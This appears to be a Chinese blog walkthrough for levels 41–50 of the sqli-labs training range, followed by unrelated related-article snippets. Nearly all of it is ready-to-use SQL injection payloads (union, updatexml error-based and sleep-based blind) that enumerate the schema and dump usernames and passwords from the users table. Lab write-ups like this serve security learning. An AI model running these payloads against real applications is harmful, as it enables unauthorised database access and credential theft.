sqli-labs靶场通关攻略(四十一到五十关)

news2024/11/25 14:53:17

sqli-labs-master靶场第四十一关

一,查看数据库

?id=-1 union select 1,2,database()--+

二,查看表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

三,查看users表中列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

四,查看users表中信息

?id=-1 union select 1,2,group_concat(id,username,password) from users --+

sqli-labs-master靶场第四十二关

一,登录页面

二,查询数据库

密码框输入:'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

三,查看表名

密码框输入:'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --aaa

四,查看users表中列名

密码框输入:'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

sqli-labs-master靶场第四十三关

一,查询数据库

密码框输入:') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

二,查看表名

密码框输入:') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

三,查看users表中列名

') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

四,查看users表中信息

') union select 1,group_concat(username,password),3 from users -- aaa

sqli-labs-master靶场第四十四关

一,查询数据库

1' union select 1,database(),3 #

二,查看表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

三,查看users表中列名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

四,查看users表中信息

1' union select 1,group_concat(username,password),3 from users #

sqli-labs-master靶场第四十五关

一,查询数据库

1') union select 1,database(),3 #

二,查看表名

1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' # 

三,查看users表中列名

1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

四,查看users表中信息

1') union select 1,group_concat(username,password),3 from users#

sqli-labs-master靶场第四十六关

一,这关的参数是sort,输入?sort=1

二,查询数据库

?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

三,查看表名

?sort=1%20and%20updatexml%281,concat%280x7e,%28select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=%27security%27%29,0x7e%29,1%29--+

四,查看users表中列名

?sort=1%20and%20updatexml%281,concat%280x7e,%28select%20group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%29,0x7e%29,1%29--+

五,查看users表中信息

?sort=1 and updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),1,32) from users ),0x7e),1)--+

sqli-labs-master靶场第四十七关

一,这关的参数是sort,输入?sort=1'--+闭合

二,查看数据库

?sort=1' and updatexml(1,concat(1,(select database())),1)--+

三,查看表名

?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

sqli-labs-master靶场第四十八关

一,这关的参数是sort,输入?sort=1

二,查看数据库

判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)

数据库第一位字符ascii码为115 's'

以此类推...最终得出数据库名为security

三,查看表名

查security数据库中第一张表的第一位字符

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)

页面延迟

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)

页面正常

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

以此类推...最终得出第一张表的表名为emails

sqli-labs-master靶场第四十九关

一,这关的参数是sort,输入?sort=1'--+闭合

二,查看数据库

判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+

数据库第一位字符ascii码为115 's'。

以此类推...最终得出数据库名为security

三,查看表名

查security数据库中第一张表的第一位字符

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

以此类推...最终得出第一张表的表名为emails

sqli-labs-master靶场第五十关

一,尝试输入?sort=1'

我们发现这关可以报错注入

二,爆库名

?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

三,爆表名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

四,爆users列名

?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

五,爆users表中信息

?sort=1 and updatexml(1,concat(0x7e,mid((select group_concat(username,password) from users),1,31),0x7e),1)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2086656.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python学习之路 - python对mysql的数据操作

目录 一、python对mysql的数据操作1、前期准备2、连接mysql3、创建表5、插入表4、查询表 一、python对mysql的数据操作 1、前期准备 使用python对mysql进行相关操作前,需要安装pymysql。执行pip install pymysql命令即可如果具体不知道如何操作,可以查…

导入pyBigWig包

今天复现论文时,看到了一种叫做bigwig格式的数据,创建和访问该格式文件需要用到pybigwig包,在此过程中遇到了一些问题,记录一下。 介绍 pybigwig的使用依赖于两个C库,所谓C库就是C语言编写的python库。 正如在pypi官…

聚类算法-DBSCAN

文章目录 一、DBSCAN介绍1.含义2.DBSCAN 的核心概念3.DBSCAN算法参数 二、代码实现1.数据预处理2.DBSCAN聚类3.计算轮廓系数4.全部代码 三、总结 一、DBSCAN介绍 1.含义 DBSCAN(Density-Based Spatial Clustering of Applications with Noise)是一种基…

llama-cpp-python编译失败,解决方案安装wheel文件

https://abetlen.github.io/llama-cpp-python/whl/cu121/llama-cpp-python/编译失败: 解决方案:使用轮子镜像

Clion/Vs中wcout输出中文不显示的解决办法

本来要写个输出所有窗口的代码&#xff0c;但是结果文字一直不输出&#xff0c;又试了试发现只是汉字不输出&#xff1a; #include <windows.h> #include <iostream> #include <vector> #include <string>std::vector<std::wstring> windowTitl…

数据结构(6.4_4)——Floyd算法

Floyd算法 第一步&#xff1a;建立两个二维数组&#xff0c;一个用来存放所有顶点&#xff0c;一个用来存放顶点之间的中转点 第二步&#xff1a;循环遍历A矩阵&#xff0c;若,则&#xff0c;&#xff1b;否则 和保持原值&#xff0c;循环完所有i&#xff0c;j后更新数组并且…

材料表面缺陷检测系统源码分享 # [一条龙教学YOLOV8标注好的数据集一键训练_70+全套改进创新点发刊_Web前端展示]

材料表面缺陷检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vis…

【rk3588】环境搭建及系统编译

开发板&#xff1a;ROC-RK3588S-PC 官方链接&#xff1a;Welcome to ROC-RK3588S-PC Manual — Firefly Wiki (t-firefly.com) 串口调试配置 一、产品介绍 — Firefly Wiki (t-firefly.com)&#xff0c;可以按照官方链接的说明在个人PC上使用串口。这个串口会输出rk3588的日…

字典查找对应输入的字符

一、将文件放入到数据库 #include<stdio.h> #include<sqlite3.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <unistd.h> int main(int agrc,char *agrv[]) {FILE *fp;fp fope…

详细介绍校园网络拓扑结构设计图

目录 需求分析 网络架构设计 拓扑图设计 安全策略 出口设计 总结 校园网络拓扑结构设计是一种对学校内计算机、网络设备和软件进行集成应用的系统化设计&#xff0c;旨在为师生提供一个高效、稳定、安全的网络平台&#xff0c;以支持教学、科研和管理的信息化需求。一个优…

RKNPU2从入门到实践 ---- 【8】借助 RKNN Toolkit lite2 在RK3588开发板上部署RKNN模型

前言 作者使用的平台为Ubuntu20.04虚拟系统&#xff0c;开发板为瑞芯微RK3588&#xff0c;开发板上的系统为Ubuntu22.04系统。 一、任务 完成RKNN模型的部署&#xff0c;RKNN模型的部署是将RKNN模型放到开发板上&#xff0c;应用程序可以加载RKNN模型&#xff0c;从而在嵌入式…

进阶SpringBoot之 Shiro(1)快速开始

Shiro 是一个 Java 的安全&#xff08;权限&#xff09;框架&#xff0c;它可以在 JavaSE、JavaEE 环境下使用 Shiro 可以实现认证、授权、加密、会话管理、Web 集成、缓存等 Shiro 官网 Shiro 中文文档 GitHub 下载 Shiro 下载源码&#xff0c;samples -> quickstart …

Linux-全网备份实战案例rsync邮件发送

项目准备 服务端&#xff1a;backup&#xff1a;172.16.1.41 客户端1&#xff1a;nfs:172.16.1.31 客户端2&#xff1a; web01:172.16.1.7 1.1 服务端backup-rsync配置文件 [rootbackup ~]# cat /etc/rsyncd.conf #created by linux 2024-8-29 ###########rsyncd.conf star…

进程和线程(操作系统八股文part2)

一个操作系统的进程和线程部分的笔记&#xff0c;大部分来源于&#xff1a;小林coding和Javaguide&#xff0c;以及操作系统黑书。 进程和线程 什么是进程 运行中的程序叫进程**&#xff08;Process&#xff09;**。 进程是资源分配的最小单位&#xff0c;线程是执行的最小…

【逐行注释】MATLAB下的UKF(无迹卡尔曼滤波),带丰富的中文注释,可直接复制到MATLAB上运行,无需下载

文章目录 程序组成部分完整代码运行结果主要模块解读:运动模型绘图部分误差统计特性输出程序组成部分 由模型初始化、运动模型、UKF主体部分、绘图代码和输出部分组成: 完整代码 将下列代码复制粘贴到MATLAB里面,即可运行: % 三维状态量的UKF例程 % 作者联系方式:微信…

学苑教育杂志社学苑教育编辑部学苑教育杂志2024年第23期目录

专题研究 “三全六为”教育教学理念的实践运用 果艳青; 4-6 教育管理 班主任班级管理工作中进行小组合作的优化策略 肖堂花; 7-9 课堂教学 以“创新”为支点&#xff0c;构建小学数学活力课堂 马绪如; 10-12 案例教学法在初中道德与法治教学中的应用 何瑞娟; 1…

js实现队列

目录 一、什么是JavaScript队列数据结构二、创建一个JavaScript队列数据结构三、封装队列方法①向队列添加元素②检查队列是否为空③获取队列的长度④从队列移除元素⑤查看队列头元素⑥清空队列⑦创建toString方法 四、使用Queue类 一、什么是JavaScript队列数据结构 在上一篇…

【解析几何笔记】11.向量的外积运算

11. 向量的外积运算 【注】也可以这么计算 11.1 向量的多重乘积 【命题】任意三个向量&#xff0c; α , β , γ \pmb{\alpha},\pmb{\beta},\pmb{\gamma} α,β,γ&#xff0c; ( α β ) γ ( α ⋅ γ ) β − ( β ⋅ γ ) α (\pmb{\alpha}\times\pmb{\beta})\times\p…

Java 7.4 - 分布式锁

什么是分布式锁&#xff1f; 对于单机多线程&#xff0c;我们使用 ReentrantLock 这类本地锁来控制多个线程对本地共享资源的访问&#xff1b;而对于分布式系统&#xff0c;我们使用 分布式锁 来控制多个服务对共享资源的访问。 分布式锁基本要求&#xff1a; 1、互斥 2、高…

【自由能系列(中级)】自由能与变分自由能——从状态到配置的效益最大化

自由能与变分自由能——从状态到配置的效益最大化 关键词提炼 #自由能 #变分自由能 #状态函数 #配置函数 #效益最大化 #物理系统 #优化问题 第一节&#xff1a;自由能与变分自由能的类比与核心概念 1.1 自由能与变分自由能的类比 自由能和变分自由能可以被视为物理系统的“…